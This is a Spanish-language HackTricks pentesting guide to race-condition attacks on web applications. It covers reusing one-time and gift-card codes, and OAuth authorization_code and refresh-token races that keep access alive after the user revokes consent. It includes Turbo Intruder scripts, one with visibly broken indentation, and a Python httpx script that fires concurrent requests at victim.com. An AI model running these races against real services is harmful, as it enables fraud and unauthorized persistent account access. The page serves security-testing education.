hacktricks/pentesting-web/race-condition.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

9.3 KiB

Condición de carrera


Utilice Trickest para construir y automatizar flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.
Obtenga acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Cualquier cosa limitada por un número de intentos

Las condiciones de carrera son vulnerabilidades que aparecen en sitios web que limitan el número de veces que se puede realizar una acción. Un ejemplo muy sencillo se puede encontrar en este informe.

Usando varias veces un código de un solo uso

Cuando haces que la página web realice alguna acción que debe hacerse solo una vez, pero si la acción se realiza varias veces se obtiene un beneficio, realmente necesitas probar una condición de carrera.
La mayoría de las veces esto está directamente relacionado con el dinero (si se realiza una acción, se obtiene X dinero, así que intentemos hacerlo varias veces muy rápidamente).

Usando desde la misma cuenta el mismo código varias veces

Por ejemplo, en este error el cazador pudo cargar el dinero dentro de una tarjeta de regalo varias veces.

Este es el script turbo intruder utilizado para probar la condición de carrera del informe mencionado:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )

   for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
   engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

Usando también BURP, puedes enviar la petición a Intruder, establecer el número de hilos en 30 dentro del menú de Opciones y seleccionar como carga útil Cargas útiles nulas y generar 30.

Usando el mismo código desde diferentes cuentas

Si la propuesta anterior no funcionó (intentando usar el mismo código varias veces desde la misma cuenta), puedes probar una variante: Intenta usar el mismo código desde diferentes cuentas:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           pipeline=False
                           )
    a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
    for i in range(len(a)):
        engine.queue(target.req,a[i], gate='race1')
    # open TCP connections and send partial requests
    engine.start(timeout=10)
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

Usando Python

import asyncio
import httpx

async def use_code(client):
    resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
    return resp.text

async def main():
    async with httpx.AsyncClient() as client:
        tasks = []
        for _ in range(20): #20 times
            tasks.append(asyncio.ensure_future(use_code(client)))
        
        # Get responses
        results = await asyncio.gather(*tasks, return_exceptions=True)
        
        # Print results
        for r in results:
            print(r)
        
        # Async2sync sleep
        await asyncio.sleep(0.5)
    print(results)

asyncio.run(main())

Persistencia eterna de OAuth2

Existen varios proveedores de OAuth. Estos servicios te permiten crear una aplicación y autenticar a los usuarios que el proveedor ha registrado. Para hacerlo, el cliente necesitará permitir que tu aplicación acceda a algunos de sus datos dentro del proveedor de OAuth.
Hasta aquí, solo es un inicio de sesión común con Google/LinkedIn/GitHub... donde se te muestra una página que dice: "La aplicación <InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?"

Condición de carrera en authorization_code

El problema aparece cuando lo aceptas y automáticamente envía un authorization_code a la aplicación maliciosa. Entonces, esta aplicación abusa de una condición de carrera en el proveedor de servicios de OAuth para generar más de un AT/RT (Authentication Token/Refresh Token) a partir del authorization_code para tu cuenta. Básicamente, abusará del hecho de que has aceptado que la aplicación acceda a tus datos para crear varias cuentas. Luego, si dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT se eliminará, pero los demás seguirán siendo válidos.

Condición de carrera en Refresh Token

Una vez que has obtenido un RT válido, podrías intentar abusar de él para generar varios AT/RT e incluso si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, varios RT seguirán siendo válidos.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Usa Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas de la comunidad más avanzadas del mundo.
Obtén acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}